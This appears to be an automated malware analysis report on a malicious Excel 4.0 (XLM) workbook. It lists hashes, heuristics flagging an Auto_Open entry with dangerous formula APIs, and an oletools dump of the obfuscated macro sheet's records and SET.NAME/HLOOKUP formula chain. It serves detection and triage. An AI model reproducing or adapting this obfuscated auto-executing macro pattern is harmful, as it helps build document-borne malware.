Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca0c481557b3e265…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:20 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5de0302ed6a03e2c321ae5b2e717d075 SHA-1: a39f9d571ba9fc8bc544e12a02eda4fc8b9494d9 SHA-256: ca0c481557b3e265790fe5a2cc7191a6fbad3c80d7a9922bb86d69013d00adbc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6588 bytes
SHA-256: 7a1173d2730be4b8f0e483d0d221c4511c8320f4f966a711f312be4b1e3db39a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bjVF
' 0018     24 LABEL : Cell Value, String Constant - AnvCYmWBU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C145 
' 0018     26 LABEL : Cell Value, String Constant - BFsrrOberdR len=0 
' 0018     26 LABEL : Cell Value, String Constant - BTGhrUsSRPg len=0 
' 0018     23 LABEL : Cell Value, String Constant - cxngLtpB len=0 
' 0018     21 LABEL : Cell Value, String Constant - DATdLC len=0 
' 0018     21 LABEL : Cell Value, String Constant - GkJjko len=0 
' 0018     22 LABEL : Cell Value, String Constant - gyfKoQA len=0 
' 0018     24 LABEL : Cell Value, String Constant - JrjHlkATr len=0 
' 0018     26 LABEL : Cell Value, String Constant - lnNnvdXIxvq len=0 
' 0018     26 LABEL : Cell Value, String Constant - MHcmumXHvCC len=0 
' 0018     25 LABEL : Cell Value, String Constant - NjSMwWZwxu len=0 
' 0018     23 LABEL : Cell Value, String Constant - nmhsACRP len=0 
' 0018     21 LABEL : Cell Value, String Constant - Noqatf len=0 
' 0018     20 LABEL : Cell Value, String Constant - nouRx len=0 
' 0018     26 LABEL : Cell Value, String Constant - oOuJOBBxCfa len=0 
' 0018     20 LABEL : Cell Value, String Constant - rPeai len=0 
' 0018     20 LABEL : Cell Value, String Constant - uzBUp len=0 
' 0018     25 LABEL : Cell Value, String Constant - VfbLsiQqbd len=0 
' 0018     26 LABEL : Cell Value, String Constant - WWVHpLypqwE len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZkSCU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bjVF,C49,"SET.NAME("WWVHpLypqwE",0+VALUE("0"))",""
'  bjVF,C54,"SET.NAME("uzBUp",WWVHpLypqwE)",""
'  bjVF,C57,"SET.NAME("BFsrrOberdR",WWVHpLypqwE)",""
'  bjVF,C62,"SET.NAME("ZkSCU",COUNTA(oOuJOBBxCfa))",""
'  bjVF,C67,"SET.NAME("rPeai",COUNTA(VfbLsiQqbd))",""
'  bjVF,C72,[],""
'  bjVF,P72,"",-992.00000000000000000000
'  bjVF,P73,"",470.00000000000000000000
'  bjVF,P74,"",997.00000000000000000000
'  bjVF,P75,"",508.00000000000000000000
'  bjVF,C76,"SET.NAME("gyfKoQA","")",""
'  bjVF,P76,"",-511.00000000000000000000
'  bjVF,P77,"",-785.00000000000000000000
'  bjVF,C78,"uzBUp",""
'  bjVF,C80,"SET.NAME("Noqatf",HLOOKUP("*",oOuJOBBxCfa,uzBUp,FALSE))",""
'  bjVF,C82,"nouRx",""
'  bjVF,C86,"SET.NAME("JrjHlkATr",WWVHpLypqwE)",""
'  bjVF,C90,[],""
'  bjVF,C93,"JrjHlkATr",""
'  bjVF,C98,"GkJjko",""
'  bjVF,C101,"lnNnvdXIxvq",""
'  bjVF,C104,"BTGhrUsSRPg",""
'  bjVF,C109,"SET.NAME("cxngLtpB",VALUE(HLOOKUP("*",VfbLsiQqbd,BTGhrUsSRPg,FALSE)))",""
'  bjVF,C114,"NjSMwWZwxu",""
'  bjVF,C119,"gyfKoQA",""
'  bjVF,C122,"BFsrrOberdR",""
'  bjVF,C127,NEXT(),""
'  bjVF,C129,"nmhsACRP",""
'  bjVF,C132,[],""
'  bjVF,C135,"MHcmumXHvCC",""
'  bjVF,C137,NEXT(),""
'  bjVF,C141,RETURN(),""
'  bjVF,C167,"SET.NAME("DATdLC",C49)",""
'  bjVF,C170,"oOuJOBBxCfa",""
'  bjVF,C174,"SET.NAME("VfbLsiQqbd",R42C13)",""
'  bjVF,C179,"SET.NAME("MHcmumXHvCC",185)",""
'  bjVF,C181,"SET.NAME("AnvCYmWBU",3)",""
'  bjVF,C184,DATdLC(),""
'  bjVF,C185,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.